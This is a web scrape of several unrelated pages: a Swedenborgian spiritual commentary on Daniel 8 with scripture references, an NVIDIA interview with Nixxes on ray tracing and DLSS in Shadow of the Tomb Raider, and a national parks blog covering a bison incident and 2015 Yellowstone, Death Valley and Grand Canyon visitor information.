One should not ignore the concept of time in this verse, however. The evening and morning would continue two thousand three hundred. As elsewhere the numbers are vitally important. Two thousand draws on two basic numbers: two and multiplies of ten. Two, as we have seen in earlier chapters, contains the concept of joining two things into a marriage or union 40 . This conjunction, however, only comes about through states of conflict and toil 41 . The number “ten” represents states of completion and fullness.
The implication, therefore, is that these alternations of state will continue through the temptations of a person’s life until the state described as three hundred occurs. Again this number is a composite between “three” and multiples of ten. “Three” describes, as we have seen earlier, a state which is full and thus the beginning of a new state. Ten represents fullness.
The answer, therefore, as to how long alternations of state will last is that they will last until they have run their course, and the person is ready to put aside the evening states, and fully embrace the morning.
Here's a fourth set of verses:
15 Then it happened, when I, Daniel, had seen the vision and was seeking the meaning, that suddenly there stood before me one having the appearance of a man.
16 And I heard a man's voice between the banks of the Ulai, who called, and said, "Gabriel, make this man understand the vision."
17 So he came near where I stood, and when he came I was afraid and fell on my face; but he said to me, "Understand, son of man, that the vision refers to the time of the end."
18 Now, as he was speaking with me, I was in a deep sleep with my face to the ground; but he touched me, and stood me upright.
19 And he said, "Look, I am making known to you what shall happen in the latter time of the indignation; for at the appointed time the end shall be.
20 "The ram which you saw, having the two horns-- they are the kings of Media and Persia.
21 "And the male goat is the kingdom of Greece. The large horn that is between its eyes is the first king.
22 "As for the broken horn and the four that stood up in its place, four kingdoms shall arise out of that nation, but not with its power.
23 "And in the latter time of their kingdom, when the transgressors have reached their fullness, a king shall arise, having fierce features, who understands sinister schemes.
24 His power shall be mighty, but not by his own power; he shall destroy fearfully, and shall prosper and thrive; he shall destroy the mighty, and also the holy people.
25 "Through his cunning he shall cause deceit to prosper under his rule; and he shall exalt himself in his heart. He shall destroy many in their prosperity. He shall even rise against the Prince of princes; but he shall be broken without human means.
26 "And the vision of the evenings and mornings which was told is true; therefore seal up the vision, for it refers to many days in the future."
The prophets of the Old Testament saw visions, but they had no idea what these visions meant. Daniel was no exception. He had seen a ram defeated by a goat, not an ordinary goat, but one with a “notable” horn. He must have grown increasingly puzzled as he watched the horn break and four lesser horns grow out of it. His puzzlement may have turned to fright and despair when he saw the power of the little horn as it grew towards the south and interfere with the daily sacrifices. He watched all if this, but didn’t understand what it meant.
He writes that he saw the vision, and was “seeking the meaning”, when the next vision broke upon him. This time he heard the voice of a man between the banks of the Ulai, and suddenly saw a man standing before him. He was afraid and fell on his face.
As in chapter seven, once again the vision is explained. In chapter seven, however, it is Daniel who asks for interpretation. In chapter eight the angel Gabriel is sent to explain it to him. The explanation in chapter seven is largely a reiteration of what Daniel had already seen. In chapter eight new information is introduced which leads to a deeper understanding.
Daniel begins by commenting that he wanted to understand the things he saw, and suddenly “there stood before him one having the appearance of a man”. In chapter seven we are not sure who Daniel asks, for he says he asked “one of them who were standing near” 42 . In this vision, however, it is very different. Daniel sees a man.
Remember that Daniel was in the citadel at Shushan, on the banks of the River Ulai when he sees this vision. As he saw the man so he heard a voice from between the banks of the Ulai river. Earlier it was noted that “rivers” refer to matters of truth and wisdom in a person. When describing the citadel at Shushan on the banks of the Ulai, it was pointed out that the river took its negative meaning, being the falsities which feed and protect the love of self.
However, each correspondence has both a positive and a negative correspondence. When the River Ulai is seen in context of the Babylonian palace, it makes sense to draw out the negative sense. Yet when the voice calls to the angel Gabriel from within the banks of the river, then one must assume a positive correspondence. In this context therefore, the river Ulai represents the wisdom of God being communicated to Daniel by means of the angel Gabriel.
Gabriel is mentioned four times in the Word, in Daniel chapters eight and nine, and twice in the Christmas story given in the book of Luke. Daniel refers to Gabriel as “the man Gabriel” who could fly swiftly (more about this in chapter nine), while in Luke Gabriel is clearly identified as an angel, who, as he said to Zacharias in the temple, stands in the presence of God.
In Hebrew the name “Gabriel” means a warrior, a valiant man, which is a very apt description of the angel. The Writings tell us that Gabriel was not a single angel, but the human appearance of an entire society or community of angels 43 . The name given to the angel, is in accordance with the function he performs 44 . Angels, or rather societies of angels in human form appeared to prophets to communicate Divine Truth to them 45 . The Arcana Coelestia makes this point when it says:
Arcana Coelestia 8192: "'Angels' signify Divine truth, for the Divine truth proceeding from the Lord makes heaven, consequently also the angels who constitute heaven; for in so far as they receive the Divine truth which is from the Lord, so far they are angels."
Apocalypse Explained 302: "A 'strong angel' signifies heaven because the whole angelic heaven before the Lord is as one man, or as one angel, likewise each society of heaven; therefore by 'angel' in the Word an angel is not meant, but an entire angelic society, as by 'Michael', 'Gabriel', 'Raphael'.
The truth Gabriel came to present to Daniel, therefore, was the meaning of the vision the prophet had just witnessed. As he approached Daniel, the latter was afraid and fell to his face. Here we have a response of the conscience when it is brought into close approximation to truth itself.
One must be wary of the trap of believing Daniel to be some disconnected observer of visions. The historical series in the first part of the book shows that this is not so. Daniel represents a person’s conscience, or the presence of truth guiding the human mind. Such a presence can never be simply neutral. The conscience plays a tremendous role in the way our minds develop, partly because it is through the conscience that we are able to understand the end result of selfishness and evil. The conscience reminds us of what good and truth really are, and how to come back into these states.
When we are in alternate states of evil, the conscience somewhat goes into abeyance, but it does not leave us, otherwise all our spiritual development would cease. Thus Daniel, while he watched the visions was seeing, correspondentially, the interaction of the conscience with the life of selfishness.
It is no surprise, therefore, that when the angel Gabriel, representing the Divine truth itself, came near to our human conscience, representing Daniel, that Daniel fell on his face. Symbolically this means the submission of the conscience to a higher authority - truth itself.
When a person is in a state of temptation, as is represented by this vision, it often appears that one’s knowledge and understanding of the Word disappears 46 . This is the state represented by Daniel falling on his face in submission to a higher truth, and is later shown by his statement in the next verse that he “was in a deep sleep”, for, as we have seen earlier, sleep represents a state of spiritual obscurity.
Arcana Coelestia 1999: "True adoration, or humiliation of heart, carries with it prostration to the earth upon the face before the Lord, as a gesture naturally flowing from it. For in humiliation of heart there is the acknowledgement of self as being nothing but filthiness, and at the same time the acknowledgement of the Lord's infinite mercy toward that which is such; and when the mind is kept in these two acknowledgements, the very mind droops in lowliness toward hell, and prostrates the body; nor does it uplift itself until it is uplifted by the Lord. This takes place in all true humiliation, with a perception of being uplifted by the Lord's mercy."
It is part of the Lord’s mercy that He never leaves people in this state. The angel Gabriel, representing the power of the Lord’s truth, came to Daniel to begin the task of explaining what the vision meant. He begins by putting it into context: “Understand, son of man, that the vision refers to the time of the end.” Notice that all the words of this statement are addressed to the understanding, the part of our minds which draws information from the Word, processes it into useful spiritual guidance. The conscience is the function of that truth in the understanding.
Thus the angel begins, “understand, son of man.” This latter phrase also speaks to the truth within us. Generally in the Word “sons” represent truths 47 , while the “son of man” is the Divine truth proceeding from the Lord, and received in our minds 48 . Prophets were called “sons of men” because they represented the Lord in that they communicated His truth to the people of this world 49 .
Thus when a person is in an state where the evil or selfish side of his or her personality is in ascendancy, and when our conscience has been set aside, the Lord lifts our minds to higher things. This is the dawn of the new state about to be break into our minds. The truth present with us comes forward to remind us of the presence of the Lord, and to reawaken our conscience and thus spur us on to resist the evil.
The angel reminds Daniel that this “vision refers to the time of the end”, the states when evils in our external man will finally be brought under control, and we will be freed from their influence 50 . In places where the “time of the end” is referred to in the Word, it deals with “the consummation of the age is the last time of the church or its end”. Thus “end” represents a completion of a state, “when there is no Divine truth left except what has been falsified or set aside.” Using this concept, the angel’s words describing Daniel’s vision as a vision of “the end” refers to the final states of evil in a person before they are completely rejected and set aside. This idea is also contained in the opening words of the chapter, that Daniel saw this vision “in the third year of the reign of King Belshazzar”.
That time, however, has not yet come. Daniel, flat on his face on the ground, and asleep, is touched by Gabriel, who stood him upright. In this new state, the explanation of the vision could begin.
Gabriel describes the dream in terms of the kings of the world. Thus the ram’s horns are the kings of Media and Persia. The goat is the kingdom of Greece, and the four horns coming from the broken “notable” horn are four kingdoms. The little horn growing to the south is a king with fierce features, “who understands sinister schemes”.
Over the centuries there have been many attempts to explain this vision in human and political terms, and in some ways the explanations often work. The kingdom of Media and Persia were in fact overrun by Alexander the Great, the Greek king. On his death his empire was divided into four regions. The king with the fierce features, then replaced them, and could be compared to the Roman Empire. This king would even rise against the “Prince of princes”, meaning that the Lord Himself would be put to death by the Romans. Finally however, the last king would be “broken without human means”, depicting the collapse of the Roman Empire 51 .
The difficulty with this interpretation of Gabriel’s words is that they do not really address the issues of the human soul. Perhaps historically this prophecy did come true in the events of the times, but the Lord is not concerned with temporal and political things. His concern is for the salvation of the human soul, and for this reason the Word is given to us. Each and every detail of the Word deals with, amongst other things, human salvation. It is necessary then to turn aside from political speculation and delve into the meanings given in the Writings.
1. Matthew Henry’s Commentary notes in passing that some estimate seventeen years, others three. Clarke does not mention the issue at all.
2. Arcana Coelestia 2788, 4119, 5159, 4901 other places cited in one. 3. John 8:31,32.
4. Clarke at this reference.
5. Apocalypse Explained 717, c{ign20} 316. 6. Arcana Coelestia 78,
7. cf. True Christian Religion 537.
8. Apocalypse Explained 600.
10. Heaven and Hell 141.
11. Arcana Coelestia 3708. 12. Arcana Coelestia 3708.
13. Jeremiah 11:19
14. Isaiah 40:11
15. cf. Apocalypse Explained 817 - goats signify those who are in faith separated from charity.
16. Cf. Apocalypse Revealed 17.
17. Arcana Coelestia 1068, 3671, 10670.
18. Arcana Coelestia 585.
19. Apocalypse Explained 741:2.
20. Arcana Coelestia 4669.
21. Apocalypse Explained 741[2].
23. Arcana Coelestia 2410, 3895,
24. Apocalypse Explained 418.
27. Arcana Coelestia 4769, 3708.
28. Arcana Coelestia 1250, 3249, 3708.
29. Daniel 7:7.
30. Apocalypse Explained 632, 720.
31. Arcana Coelestia 4769, Apocalypse Explained 720.
32. Cf. Apocalypse Explained 573,
37. Daniel 7:12.
38. Arcana Coelestia 22.
39. Cf. Arcana Coelestia 2405.
44. Heaven and Hell 52, Arcana Coelestia 8192.
49. Doctrine about the Lord 28.
50. Cf. True Christian Religion 753ff.
51. Clarke at this chapter.
Arcana Coelestia 411, 1664, 2832, 10042, 10455
De Verbo (The Word) 5
Fede 63
Cielo e inferno 171
True Christian Religion 851
Arcana Coelestia 22, 1458, 1808, 2333, 2405, 2495, 2547, ...2830, 2838, 3448, 3708, 4697, 4769, 5922, 7844, 7988, 8211, 9229, 9329, 9408, 9485, 9642, 9807, 9815, 10132, 10134, 10135, 10182
Apocalypse Revealed 34, 36, 51, 151, 270, 447, 541, ...586, 711, 720, 945
A Brief Exposition of New Church Doctrine 83, 85
L’Amore Coniugale 26
Divina Provvidenza 134
Doctrine of the Lord 4, 28, 52
Fede 61, 65, 66, 67
Ultimo Giudizio (Supplemento) 13
True Christian Religion 157, 537, 764
Apocalypse Explained 50, 63, 72, 179, 316, 412, 418, ...535, 573, 600, 612, 632, 700, 716, 720, 734, 817
Coronis (An Appendix to True Christian Religion) 5
De Verbo (The Word) 15
Ultimo Giudizio (postumo) 220
The River of God
Not By Our Own Strength
Hide and Seek with God
Thank Heavens It's Cloudy
What to Do about a Falling Star Problem
Commentary on Daniel
Numbers 28:3
Isaiah 14:13, 21:2, 45:1, 2
Ezekiel 1:28, 2:1, 2, 20:6
Daniel 2:39, 4:10, 5:23, 28, 7:1, 5, 6, 7, 8, 21, 25, 28, 9:21, 10:8, 9, 14, 11:2, 3, 4, 16, 21, 22, 23, 27, 28, 31, 36, 45, 12:4, 6, 11
Zechariah 1:9, 4:1, 9:13
Revelation 1, 17, 10:4, 12:4, 13:5, 17:14
The human mind is composed of two parts, a will and an understanding, a seat of loves and affections, and a seat of wisdom and...
Vision is the innermost revelation, which is of perception. Visions are according to the state of humankind. The visions of people whose interiors are closed,...
Behind, or after, (Gen. 16:13), signifies within or above, or an interior or superior principle.
Elam, mentioned in Isaiah 21:1, signifies faith originating in charity, consequently, the internal church. Elam, in Jeremiah 49:34, (Jer. 49:34), signifies the falsification of doctrine....
'A ram' signifies the Lord’s divine spiritual nature pertaining to a person. 'A ram' signifies the good of innocence and charity in the internal self....
'A horn,' when spoken of the Lord, signifies omnipotence. 'The little horn that rose up,' as mentioned in Daniel 7:3-8, signifies the full perversion of...
settentrione
'North' signifies people who are in obscurity regarding truth. North,' in Isaiah 14:31, signifies hell. The North,' as in Jeremiah 3:12, signifies people who are...
'Lands' of different nations are used in the Word to signify the different kinds of love prevalent in the inhabitants.
toccare
Imagine having your mother touch your cheek. Then imagine having your spouse or someone you love romantically touch your cheek. Then imagine having a baby...
To look,' as in Genesis 18:22, signifies thinking, because seeing denotes understanding. Look not back behind thee,' as in Genesis 19:17, means that Lot, who...
The number "two" has two different meanings in the Bible. In most cases "two" indicates a joining together or unification. This is easy to see...
The word "great" is used in the Bible to represent a state with a strong degree of love and affection, of the desire for good;...
The number "four" in the Bible represents things being linked together or joined. This is partly because four is two times two, and two represents...
Heavens are celestial and spiritual things. Consequently, they are inmost things, both of the Lord's kingdom in heaven the and in the earth. This also...
A host and an army come from the same Hebrew word and mean the same thing in Bible; when the Children of Israel were numbered...
'Stars' signify the knowledge of truth and good. 'Stars' are frequently mentioned in the Word, and always signify goods and truths, but in an opposite...
Captains and Rulers (Jer. 51:23) signifies principal evils and falsities. Captains and Rulers (Ezek 33:6) signifies principal truths. See Chief Captains.
Like other common verbs, the meaning of "give" in the Bible is affected by context: who is giving what to whom? In general, though, giving...
There's a great deal of talk in Swedenborg about "truth" as a concept – it's how we learn the Lord's will, what we must seek...
As with many common verbs, the meaning of “to say” in the Bible is highly dependent on context. Who is speaking? Who is hearing? What...
'Sanctuary' signifies the truth of heaven and the church. 'Sanctuary,' as in Ezekiel 24:21, signifies the Word.
'Voice' signifies what is announced from the Word. 'Voice' often refers and is applied to things that cannot have a voice, as in Exodus 4,...
Venuta
Time is an aspect of the physical world, but according to Swedenborg is not an aspect of the spiritual world. The same is true of...
'To stay with,' as in Genesis 32:4, relates to the life of truth when accompanied by good, and in this instance, it means to take...
conoscere
Like so many common verbs, the meaning of "know" in the Bible is varied and dependent on context. And in some cases – when it...
'The Medes,' as in Isaiah 8:17, signify people who are contrary to the truths and goods of the church.
Greece, in the Word, signifies the nations about to receive the truths of doctrine. Greece signifies the same as ‘isles.’ The king of Greece represents...
Why would it be insulting for a man to refer to his married partner as his “first wife”? Because it implies there will be a...
'Nations' signify people who are in the good of love and charity from the Lord. Two nations in the womb,' as in Genesis 25:23, signify...
astuzia
Guile signifies to deceive and seduce for a deliberate purpose.
prosperare
'To be made to prosper' signifies being provided for. Which is why 'Jehovah made it prosper in his hand' means Divine Providence.
Scientists believe that one of the most crucial developments in the evolution of humans was bipedalism – walking on two legs. That left our hands...
malato
'The sick,' as in Matthew 25:35, signify people in evil, and those who acknowledge that in themselves there is nothing but evil.
Ze Swedenborgových děl
A Brief Exposition of New Church Doctrine Apocalypse Revealed Arcana Coelestia Conjugial Love Divine Love and Wisdom Divine Providence Doctrine of the Lord Faith Heaven and Hell Interaction of the Soul and Body Life Sacred Scripture The Last Judgment The Last Judgment (Continuation) The New Jerusalem and its Heavenly Doctrine The White Horse True Christian Religion Worlds in Space A Conversation with John Calvin An Ecclesiastical History of the New Church An Invitation to the New Church Apocalypse Explained Arcana Coelestia - Index Canons of the New Church Charity Conversations with Angels Coronis (An Appendix to True Christian Religion) De Domino De Verbo (The Word) Divine Love Divine Wisdom Five Memorable Relations Formula Concordia Index Gad and Asher God the Savior Index 1, to "Angelic Wisdom Concerning Marriage" Index 2, to "Angelic Wisdom Concerning Marriage" Index to Apocalypse Revealed Influx Justification Last Judgment (Posthumous) Letters Marriage Miracles and Signs Nine Questions On the Athanasian Creed Precepts of the Decalog Scriptural Confirmations Specimen and Sketch Spiritual Experiences Spiritual Experiences (Travel Diary) Spiritual Experiences-Word Explained Summaries in Exposition of Apocalypse The Consummation of the Age The Inner Meaning of the Prophets and Psalms The White Horse - Appendix True Christian Religion - Additions
Překlad: Coulson (1970) Rogers (2007) Whitehead (1928) original (1766) Apocalyps Onthuld Апокалипсис открытый (pdf) L'Apocalypse révélée (Le Boys des Guays traduction Tradução Figueiredo (1987) 정인보 번역
Apocalypse Revealed # 711
Apocalypse Revealed (Rogers translation)
Study this Passage
Přejděte do sekce / 962
711. And there was a great earthquake, such as had not occurred since people were on the earth, so great was the earthquake. This symbolizes seeming shocks, convulsions, upsets and drawings down from heaven of every element of the church.
Earthquakes symbolize changes in a church's state, as may be seen in no. 331 above. But because some earthquakes are milder and some more severe, and the one here is very severe, since we are told that such a quake had not occurred since the appearance of people, it is apparent that the earthquake here symbolizes shocks, convulsions, upsets and drawings down from heaven of every element of the church.
We are told, too, in regard to the dragon, which is called a serpent, the devil and satan, 1 that its tail drew down from heaven a third of the stars and threw them to the earth (Revelation 12:4). Something similar is said in regard to the male goat in Daniel 8:10-12. The Lord also says regarding the end of the present church:
...then there will be great tribulation, such as has not been since the beginning of the world until this time, nor ever shall be. (Matthew 24:21)
The end of the church is described in the prophets as well by shocks, overturnings and castings down of the earth, and many other occurrences attendant on earthquakes.
1. Revelation 12:9; 20:2
(Odkazy: Revelation 16:18)
Other New Christian Commentary
Word or Phrase Explanations:
Talent weight
Slovník pojmů používaných Emanuelem Swedenborgem
Thanks to the General Church of the New Jerusalem for the permission to use this translation.
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RTX Backstage: 10 Questions for Nixxes About the Awesome PC Tech in Shadow of the Tomb Raider
The Tomb Raider series has always pushed the envelope technologically… the original release in 1996 was the first 3D game many players ever tried. It makes sense that the latest installment, Shadow of the Tomb Raider, would employ a wide range of cutting-edge NVIDIA features on PC.
We talked with Jurjen Katsman at Nixxes to get thoughts on the benefits that come with playing their new game on PC.
Shadow of the Tomb Raider is among the very first wave of titles supporting ray tracing. Why was it important to jump in right away?
One of the benefits to gamers of playing on PC is to be able to use the very latest hardware. So as part of our responsibility of bringing Shadow of the Tomb Raider to PC it is important to us to stay at the forefront features offered by this latest hardware, and ensure our games take full advantage of it.
Shadow of the Tomb Raider features gorgeous set-pieces that often prioritize shadow and darkness over light. How has real-time ray tracing helped you get the results we see in the video?
The importance of shadows and how they interact with light in the game is certainly why using real-time raytracing for shadows was what we have focused on, it allows us to use additional shadow casting lights that can make all the detail in the environment stand out more, and to have more realistic software shadows as well where appropriate.
Do you have any tips for development teams that are adding real-time ray tracing to their art pipeline?
One of the big lessons we learned is that the best uses of ray tracing are the ones which you wouldn’t be able to practically solve in other ways. When using shadow maps, many small point lights that cast a shadow are impractical, and would be really expensive. With ray tracing this suddenly is no longer a problem. The amount of lights becomes a lot less important, with their overall size on screen being the major factor. On the other hand, if you already have a good reflection algorithm that works in screen space, and the type of visuals in your game do not make the potential artifacts very visible, not much is gained by using the available ray tracing power to replace that.
How do you think real-time ray tracing will change the way games are made?
Ultimately ray tracing does not majorly change _how_ games are made. And this is a good thing. Ray tracing is a very fundamental switch in terms of what work we ask the GPU to do, where it can not just read pixels from 2D images, but also evaluate rays which are casting into any possible direction in a complicated 3D scene. But all the core building blocks for games and the tools used to create them are still the same, so there is no significant re-training needed.
It does mean engine developers have new tools available to make them look better than ever, and to invent new algorithms which leverage the new hardware features. In the last few years more and more graphics algorithms have been created that attempt to ‘fake’ ray tracing by ray-marching in screen space. For example Screen Space Reflections, Screen Space Ambient Occlusion, Screen Space Contact Shadows, and many more. Algorithms like those have had a major part in making games look as amazing as they do now, but ultimately all suffer from artifacts. As ray tracing starts being used more and more I expect all of those to disappear and be replaced with ray traced implementations instead.
Let’s talk about DLSS. How does anti-aliasing via deep learning differ from traditional techniques?
DLSS is truly quite magical in how it works. Just like how we as humans can make the distinction between an aliasing artifact, or detail that got lost as a result of limited resolution, the DLSS machine learning based algorithm, trained on tens of thousands of frames of our game being played, can detect these artifacts and produce an enhanced image. And where other AA algorithms can often result in a more blurry image, and come at a performance cost, DLSS can actually add more detail, and as a result does not need as many pixels to be rendered, resulting in improved performance.
Are you using DLSS for better image quality, better performance, or both? Which is the priority?
Like with all anti-aliasing algorithms it really comes down to personal preference. DLSS to me provides image quality superior to many other AA algorithms, while at the same time increasing performance. That is a hard combination to beat. But if you have GPU power to spare you may prefer some of our other traditional AA options, which in some cases can give you a slightly sharper image, but at a higher performance cost. That’s the great thing about PC, everyone has their own hardware and their own personal preferences, and we can all customize the game just the way we like.
Shadow of the Tomb Raider uses tessellation for enhanced geometric detail. What performance benefits did you see with its inclusion?
Tessellation we have used before on earlier Tomb Raider games, but for each one we tried to find more ways to use it to enhance the quality of the image. It is not aimed at improving performance, but because the amount of geometry it generates is dynamic, it does allow us to create a lot of additional detail without a high performance impact or consuming a lot of memory to store this geometry.
Can you tell us what CHS is, and how it allowed you to produce realistic shadow falloff? How does that work alongside ray tracing?
CHS stands for Contact Hardening Shadows. In real life, shadows (for example from the sun) are very sharp when they are seen very close to the object casting the shadow. But when the distance between those is larger the shadow becomes more and more blurry. The combination of both these sharp shadows and these blurry shadows appearing just in the right spot can significantly enhance realism. Our CHS solution is aimed at creating this effect when using traditional shadow maps, but when using ray tracing the physical properties of the lights, including their size, and the multiple rays we cast for each pixel, automatically result in this effect being visible.
SSCS is another technology you’ve taken advantage of in Shadow of the Tomb Raider, which allows for enhanced surface definition. Why did you decide to add this technology to your stack?
Screen Space Contact Shadows can generate subtle detailed shadows which traditional shadow maps cannot properly represent due to resolution issues. But those subtle shadows do make the depth of the image more apparent and cause small details on surfaces to stand out more. This is also a feature that was made necessary by limitations of shadow maps, but with the use of ray tracing is now no longer needed, and we disable it on lights that use ray tracing to determine their shadows.
Finally, HBAO+… how does that technology help you with ambient occlusion?
Ambient Occlusion is critical for a realistic image, and HBAO+ offers extremely good results at a very reasonable cost. We are very happy to be able to offer this option to our players on PC, leveraging all the research NVIDIA has put into it, while we can focus our own research on other areas.
To learn more about Turing optimized development SDKs, including the NVIDIA RTX Platform and the GameWorks Ray Tracing SDK, please follow this link
NVIDIA RTX Top 3: Week of November 21, 2018
Join the GeForce NOW Cloud Gaming Open Platform
All of NVIDIA’s GDC 19 Slides in One Place
NVIDIA Nsight Compute 2019.1 is now available
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No Bra club
hip hop t-shirt K811
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We started 3 years ago in a tiny basement with boxes of cute t-shirts and it all started from there, the rest is what you see & her/history.
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National Parks Blog
The Dangers of Wildlife: Bison Rams SUV in Yellowstone National Park
April 11, 2015 April 11, 2015 MyNationalParks.com AdminLeave a comment
It’s common knowledge that wildlife can be unpredictable and dangerous; however, it’s sometimes helpful to share wildlife encounter stories as a reminder. On February 26th, an SUV was traveling along the north road between the North and Northeast Entrances of Yellowstone National Park (it’s the only road open year-round in Yellowstone). The SUV was stopped with the engine shut off as a group of bison approached. One bison continued its approach at a dead run and rammed the SUV causing significant damage. It does not require much imagination to consider what could happen if such an encounter occurred with a park visitor outside of the vehicle.
The summer season is rapidly approaching, and many of us will be planning a summer adventure in one of America’s numerous national parks. Please remember that although the wild animals you may see appear to be docile, they are quite unpredictable and can be dangerous. Never feed wildlife, and do not approach them. Always maintain a safe viewing distance of 100 yards from bears, and the same is recommended for other large animals such as moose, elk, and bison. They are large animals, and they can run faster than you (up to 35 miles per hour). You can read the complete article and view a video of the bison encounter at http://www.usatoday.com/story/news/nation-now/2015/03/03/bison-yellowstone-national-park-/24354303/
2015 Yellowstone National Park Opening & Closing Dates
March 22, 2015 March 29, 2015 MyNationalParks.com AdminLeave a comment
2015 Road System
Weather permitting, roads open at 8:00 a.m. Changes and delays are always possible.
2015 Spring Opening Dates
April 17: Mammoth to Old Faithful; Madison to West Entrance;Norris to Canyon.
May 1: Canyon Junction to Lake;Lake to East Entrance (Sylvan Pass).
May 8: Lake to South Entrance;Tower Junction to Tower Fall.
May 22: Tower Fall to Canyon Junction (Dunraven Pass); Beartooth Highway.
June 11: Old Faithful to West Thumb (Craig Pass).
2015 Fall Closing Dates
October 13: Beartooth Pass and Dunraven Pass close
November 2: All roads except the road between the North and the Northeast Entrances
Bridge Bay
Campground: Opens May 22, closes Sept. 7.
Dock Rental: Opens May 22, closes Sept. 13.
Marina Store: Opens May 29, closes Sept. 7.
Boat Tours: Opens June 15, closes Sept. 13.
Scenic Cruiser: Opens June 15, closes Sept. 13.
Yellowstone Adventure Store: Opens April 17, closes Nov. 2.
Service Station (credit card service at all pumps): Opens May 1, closes Oct. 19.
Wrecker Service: Opens May 1, closes Oct. 11.
Canyon General Store: Opens May 15, closes Oct. 11.
Repair Service: Opens May 22, closes Sept. 7.
Canyon Visitor Education Center: Open (lobby).
Canyon Campground: Opens May 29, closes Sept. 13.
Canyon Lodge/Cabins: Opens May 29, closes Sept. 19.
Cafeteria: Open May 23, closes Sept. 13.
Trail Rides: Opens June 23, closes Sept. 6.
Fishing Bridge
Fishing Bridge RV Park: Opens May 8, closes Sept. 20.
General Store: Opens May 8, closes Sept. 24.
Service Station (credit card service at all pumps): Opens May 8, closes Sept. 20.
Wrecker & Repair Service: Opens May 22, closes Sept. 7.
Mini Store: Opens May 15, closes Sept. 28.
Lodging and Restaurant: Opens May 22, closes Sept. 26.
Lake House Restaurant: Opens May 22, closes Sept. 20.
Wrecker/Repair Service: Opens May 22, closes Sept. 7.
Service Station: Opens May 22, closes Sept. 27.
Grant General Store: Opens May 29, closes Sept. 21.
Grant Campground: Opens June 21, closes Sept. 20.
Lake Yellowstone Hotel & Cabins: Opens May 15, closes Oct. 4.
Lake Dining Room & Deli: Opens May 15, closes Oct. 4.
Lake Hotel Cabins: Opens May 15, closes Oct. 4.
Lake Clinic: Opens May 22, closes Sept. 19.
Lake General Store: Opens May 22, closes Sept. 21.
Lake Lodge & Cabins: Opens June 10, closes Sept. 27.
Lake Lodge Cafeteria: Opens June 10, closes Sept. 27.
Albright Visitor Center: Closed for renovations. Temporary visitor center is open 9 a.m.-5 p.m.
Mammoth General Store: Open all year, but might be closed on Sundays and some holidays.
Terrace Grill Fast Food: Open April 24, closes Oct. 18.
Mammoth Gift Shop: Opens April 24, closes Oct. 18.
Mammoth Hotel/Cabins/Dining Room: Opens May 1, closes Oct. 12.
Service Station: Opens May 18, closes Oct. 5.
Mammoth Campground: Open year-round.
Old Faithful Visitor Center: Open.
Snow Lodge Geyser Grill Fast Food/Bear Den Gift Shop: Open now, closes March 15. Opens April 17, closes Nov. 1.
Old Faithful Snow Lodge Rooms, Cabins and Restaurant: Opens May 1, closes Oct. 18.
Service Station (lower): Opens May 1, closes Oct. 11.
Old Faithful Upper General Store: Opens May 1, closes Oct. 12.
Old Faithful Inn, Gift Shop, Dining Room, Bear Paw Deli: Opens May 8, closes Oct. 11.
Old Faithful Lodge: Opens May 15, closes Oct. 9.
Old Faithful Lodge Cafeteria: Opens May 15, closes Oct. 9.
Old Faithful Lodge Gift Shop, Bake Shop: Opens May 15, closes Oct. 9.
Old Faithful Clinic: Opens May 15, closes Oct. 2.
Service Station (upper): Opens May 29, closes Sept. 14.
Old Faithful Lower Store (basin): Opens May 22, closes Sept. 28.
Tower/Roosevelt
Tower Fall General Store: Opens May 29, closes Sept. 17.
Tower Junction Service Station: Opens June 6, closes Sept. 1.
Roosevelt Lodge/Cabins: Opens June 5, closes Sept. 7.
Horse Rides/Stagecoach: Opens June 5, closes Sept. 6.
Roosevelt Store: Opens June 5, closes Aug. 31.
Cook-Out: Opens June 6, closes Sept. 12.
Concession Campgrounds
Bridge Bay: Opens May 22, closes Sept. 7.
Canyon: Opens May 29, closes Sept. 13.
Grant Village: Opens June 21, closes Sept. 20.
Madison: Opens May 1, closes Oct. 18.
Park Service Campgrounds
Indian Creek: Opens June 12, closes Sept. 14.
Lewis Lake: Opens June 15, closes Nov. 1.
Mammoth: Open all year.
Norris: Opens May 15, closes Sept. 28.
Pebble Creek: Opens June 15, closes Sept. 28.
Slough Creek: Opens June 15, closes Oct. 7.
Tower Fall: Opens May 22, closes Sept. 28.
Death Valley National Park an Excellent Spring Destination
February 21, 2015 March 22, 2015 MyNationalParks.com AdminLeave a comment
Spring is an excellent t ime to visit Death Valley National Park. The temperatures are not extremely hot like those seen during the mid-summer months. Top lodging options include Furnace Creek Inn, Furnace Creek Ranch, Stovepipe Wells Village, and Panamint Springs Resort. Furnace Creek Inn offers the most luxurious accommodations, but they are also the most expensive. The other lodges offer a comfortable stay at more economical rates. Outdoor activities include hiking, biking, backpacking, and bird watching. Some of the popular things to see include Badwater (lowest point in the U.S. at 282 feet below sea level), Artist’s Drive, Golden Canyon, Titus Canyon, Scotty’s Castle, and the Racetrack. Spring is a busy time in Death Valley, because many visitors prefer the milder weather. So, be sure to plan your trip early and make reservations for lodging as much in advance as possible. To reserve lodging at the Furnace Creek Inn or Furnace Creek Ranch, call Xanterra Parks & Resorts at 1-800-236-7916. For Stovepipe Wells, call (760) 786-2387. For Panamint Springs Resort, call (775) 482-7680.
Grand Canyon National Park Offers Year-Round Adventure
January 31, 2015 March 22, 2015 MyNationalParks.com AdminLeave a comment
Grand Canyon National Park was formally established as a national park in 1919, a year in which it received 44,173 visitors. Today, Grand Canyon offers the same majestic scenery that it did in 1919 although it is visited by millions of people from around the world each year. The park is extremely popular; and like most popular parks, the lodging and activities in Grand Canyon can sell out months in advance. Lodging options include the luxurious El Tovar Hotel, Maswik Lodge, Yavapai Lodge, Thunderbird Lodge, Kachina Lodge, and the world-famous Phantom Ranch which lies on the Canyon floor. If lodging sells out inside the park, there are also options just outside the park entrance in the small town of Tusayan, Arizona with lodges such as the Grand Hotel and the Red Feather Inn.
Grand Canyon offers visitors access to year-round adventure with activities such as day and overnight mule rides, treks to Phantom Ranch, helicopter and jeep tours, smooth water float trips, and multi-day whitewater adventures on the mighty Colorado River. Many visitors choose to explore the park through day hikes or overnight backpacking trips. However, all visitors must remain vigilant to ensure a safe and enjoyable Grand Canyon experience. Bring plenty of water even if you’re simply going on a short day hike as the temperature can rise quickly during the day, especially as you descend into the Canyon.
